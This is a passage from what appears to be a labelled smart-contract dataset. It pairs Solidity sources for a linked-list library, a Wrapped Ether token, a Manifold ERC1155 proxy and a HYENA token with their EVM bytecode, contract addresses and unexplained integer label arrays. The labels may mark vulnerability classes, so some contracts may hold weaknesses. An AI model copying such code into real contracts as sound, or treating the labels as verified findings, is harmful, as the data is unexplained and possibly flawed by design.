addresses[i]); } } /// @notice Adds an address to the front of the list. /// @param self The Mapping struct that this function is attached to /// @param newAddress The address to shift to the front of the list function addAddress(Mapping storage self, address newAddress) internal { require(newAddress != SENTINEL && newAddress != address(0), "Invalid address"); require(self.addressMap[newAddress] == address(0), "Already added"); self.addressMap[newAddress] = self.addressMap[SENTINEL]; self.addressMap[SENTINEL] = newAddress; self.count = self.count + 1; } /// @notice Removes an address from the list /// @param self The Mapping struct that this function is attached to /// @param prevAddress The address that precedes the address to be removed. This may be the SENTINEL if at the start. /// @param addr The address to remove from the list. function removeAddress(Mapping storage self, address prevAddress, address addr) internal { require(addr != SENTINEL && addr != address(0), "Invalid address"); require(self.addressMap[prevAddress] == addr, "Invalid prevAddress"); self.addressMap[prevAddress] = self.addressMap[addr]; delete self.addressMap[addr]; self.count = self.count - 1; } /// @notice Determines whether the list contains the given address /// @param self The Mapping struct that this function is attached to /// @param addr The address to check /// @return True if the address is contained, false otherwise. function contains(Mapping storage self, address addr) internal view returns (bool) { return addr != SENTINEL && addr != address(0) && self.addressMap[addr] != address(0); } /// @notice Returns an address array of all the addresses in this list /// @dev Contains a for loop, so complexity is O(n) wrt the list size /// @param self The Mapping struct that this function is attached to /// @return An array of all the addresses function addressArray(Mapping storage self) internal view returns (address[] memory) { address[] memory array = new address[](self.count); uint256 count; address currentAddress = self.addressMap[SENTINEL]; while (currentAddress != address(0) && currentAddress != SENTINEL) { array[count] = currentAddress; currentAddress = self.addressMap[currentAddress]; count++; } return array; } /// @notice Removes every address from the list /// @param self The Mapping struct that this function is attached to function clearAll(Mapping storage self) internal { address currentAddress = self.addressMap[SENTINEL]; while (currentAddress != address(0) && currentAddress != SENTINEL) { address nextAddress = self.addressMap[currentAddress]; delete self.addressMap[currentAddress]; currentAddress = nextAddress; } self.addressMap[SENTINEL] = SENTINEL; self.count = 0; } }
0x608060405234801561001057600080fd5b50600436106100415760003560e01c8063022ec09514610046578063b3eeb5e21461006a578063efc81a8c14610120575b600080fd5b61004e610128565b604080516001600160a01b039092168252519081900360200190f35b61004e6004803603604081101561008057600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100ab57600080fd5b8201836020820111156100bd57600080fd5b803590602001918460018302840111640100000000831117156100df57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610137945050505050565b61004e6102b3565b6000546001600160a01b031681565b6000808360601b9050604051733d602d80600a3d3981f3363d3d373d3d3d363d7360601b81528160148201526e5af43d82803e903d91602b57fd5bf360881b60288201526037816000f0604080516001600160a01b038316815290519194507efffc2da0b561cae30d9826d37709e9421c4725faebc226cbbb7ef5fc5e7349925081900360200190a18251156102ac576000826001600160a01b0316846040518082805190602001908083835b602083106102035780518252601f1990920191602091820191016101e4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610265576040519150601f19603f3d011682016040523d82523d6000602084013e61026a565b606091505b50509050806102aa5760405162461bcd60e51b81526004018080602001828103825260248152602001806102de6024913960400191505060405180910390fd5b505b5092915050565b6000805460408051602081019091528281526102d8916001600160a01b031690610137565b90509056fe50726f7879466163746f72792f636f6e7374727563746f722d63616c6c2d6661696c6564a26469706673582212203ac2af0a791aaa387f6757d0fc8c11fd2999d3aa2e35df14d6d84f6e573cbbcc64736f6c634300060c0033
[ 4, 7, 9, 12, 13, 5 ]
0xf2740c75f221788cf78c716b953a7f1c769d49b9
pragma solidity ^0.4.24; //Slightly modified SafeMath library - includes a min function library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function min(uint a, uint b) internal pure returns (uint256) { return a < b ? a : b; } } /** *This is the basic wrapped Ether contract. *All money deposited is transformed into ERC20 tokens at the rate of 1 wei = 1 token */ contract Wrapped_Ether { using SafeMath for uint256; /*Variables*/ //ERC20 fields string public name = "Wrapped Ether"; uint public total_supply; mapping(address => uint) internal balances; mapping(address => mapping (address => uint)) internal allowed; /*Events*/ event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); event StateChanged(bool _success, string _message); /*Functions*/ /** *@dev This function creates tokens equal in value to the amount sent to the contract */ function createToken() public payable { require(msg.value > 0); balances[msg.sender] = balances[msg.sender].add(msg.value); total_supply = total_supply.add(msg.value); } /** *@dev This function 'unwraps' an _amount of Ether in the sender's balance by transferring *Ether to them *@param _value The amount of the token to unwrap */ function withdraw(uint _value) public { balances[msg.sender] = balances[msg.sender].sub(_value); total_supply = total_supply.sub(_value); msg.sender.transfer(_value); } /** *@param _owner is the owner address used to look up the balance *@return Returns the balance associated with the passed in _owner */ function balanceOf(address _owner) public constant returns (uint bal) { return balances[_owner]; } /** *@dev Allows for a transfer of tokens to _to *@param _to The address to send tokens to *@param _amount The amount of tokens to send */ function transfer(address _to, uint _amount) public returns (bool) { if (balances[msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to]) { balances[msg.sender] = balances[msg.sender] - _amount; balances[_to] = balances[_to] + _amount; emit Transfer(msg.sender, _to, _amount); return true; } else { return false; } } /** *@dev Allows an address with sufficient spending allowance to send tokens on the behalf of _from *@param _from The address to send tokens from *@param _to The address to send tokens to *@param _amount The amount of tokens to send */ function transferFrom(address _from, address _to, uint _amount) public returns (bool) { if (balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to]) { balances[_from] = balances[_from] - _amount; allowed[_from][msg.sender] = allowed[_from][msg.sender] - _amount; balances[_to] = balances[_to] + _amount; emit Transfer(_from, _to, _amount); return true; } else { return false; } } /** *@dev This function approves a _spender an _amount of tokens to use *@param _spender address *@param _amount amount the spender is being approved for *@return true if spender appproved successfully */ function approve(address _spender, uint _amount) public returns (bool) { allowed[msg.sender][_spender] = _amount; emit Approval(msg.sender, _spender, _amount); return true; } /** *@param _owner address *@param _spender address *@return Returns the remaining allowance of tokens granted to the _spender from the _owner */ function allowance(address _owner, address _spender) public view returns (uint) { return allowed[_owner][_spender]; } /** *@dev Getter for the total_supply of wrapped ether *@return total supply */ function totalSupply() public constant returns (uint) { return total_supply; } }
0x6080604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100a9578063095ea7b31461013957806318160ddd1461019e57806323b872dd146101c95780632e1a7d4d1461024e5780633940e9ee1461027b57806370a08231146102a65780639cbf9e36146102fd578063a9059cbb14610307578063dd62ed3e1461036c575b600080fd5b3480156100b557600080fd5b506100be6103e3565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100fe5780820151818401526020810190506100e3565b50505050905090810190601f16801561012b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561014557600080fd5b50610184600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610481565b604051808215151515815260200191505060405180910390f35b3480156101aa57600080fd5b506101b3610573565b6040518082815260200191505060405180910390f35b3480156101d557600080fd5b50610234600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061057d565b604051808215151515815260200191505060405180910390f35b34801561025a57600080fd5b5061027960048036038101908080359060200190929190505050610969565b005b34801561028757600080fd5b50610290610a63565b6040518082815260200191505060405180910390f35b3480156102b257600080fd5b506102e7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a69565b6040518082815260200191505060405180910390f35b610305610ab2565b005b34801561031357600080fd5b50610352600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b73565b604051808215151515815260200191505060405180910390f35b34801561037857600080fd5b506103cd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dd7565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104795780601f1061044e57610100808354040283529160200191610479565b820191906000526020600020905b81548152906001019060200180831161045c57829003601f168201915b505050505081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015801561064a575081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156106565750600082115b80156106e15750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401115b1561095d5781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610962565b600090505b9392505050565b6109bb81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e5e90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a1381600154610e5e90919063ffffffff16565b6001819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610a5f573d6000803e3d6000fd5b5050565b60015481565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600034111515610ac157600080fd5b610b1334600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e7790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b6b34600154610e7790919063ffffffff16565b600181905550565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610bc45750600082115b8015610c4f5750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401115b15610dcc5781600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610dd1565b600090505b92915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000828211151515610e6c57fe5b818303905092915050565b6000808284019050838110151515610e8b57fe5b80915050929150505600a165627a7a72305820b3e5f848c71bcbe2cbf4c098dde0f9fcf59be7c42f2adb5dd7961deef12e878c0029
[ 38 ]
0xf275f1f8c7fc97ad3b45739a86f813e4cfa4e32a
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: Treasuring /// @author: manifold.xyz import "./ERC1155Creator.sol"; //////////////////////////////////////////////////////////////// // // // // // // // _____ .__ .____ .___ // // / \ |__| ______ ______ | | ____ __| _/ // // / \ / \| |/ ___// ___/ | | _/ __ \ / __ | // // / Y \ |\___ \ \___ \ | |__\ ___// /_/ | // // \____|__ /__/____ >____ > |_______ \___ >____ | // // \/ \/ \/ \/ \/ \/ // // // // // //////////////////////////////////////////////////////////////// contract TREA is ERC1155Creator { constructor() ERC1155Creator() {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC1155Creator is Proxy { constructor() { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4; Address.functionDelegateCall( 0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4, abi.encodeWithSignature("initialize()") ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internal call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102cb60279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b60606001600160a01b0384163b61019d5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101b8919061024b565b600060405180830381855af49150503d80600081146101f3576040519150601f19603f3d011682016040523d82523d6000602084013e6101f8565b606091505b5091509150610208828286610212565b9695505050505050565b60608315610221575081610105565b8251156102315782518084602001fd5b8160405162461bcd60e51b81526004016101949190610267565b6000825161025d81846020870161029a565b9190910192915050565b602081526000825180602084015261028681604085016020870161029a565b601f01601f19169190910160400192915050565b60005b838110156102b557818101518382015260200161029d565b838111156102c4576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212209ef017d364761bd19bb36248a1ca39100601b43b61366bc0bac388a76b86dcd664736f6c63430008070033
[ 5 ]
0xf276435d169232905f10e8582eabeca5403d7eb9
// Hyena.Finance (HYENA) // HYENA is a DeFI meme deflationary token that embraces and brings attention to an overlooked unique species. // HYENA will be used as a holders stake in passively earning redistributed tokens (passive income). // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, 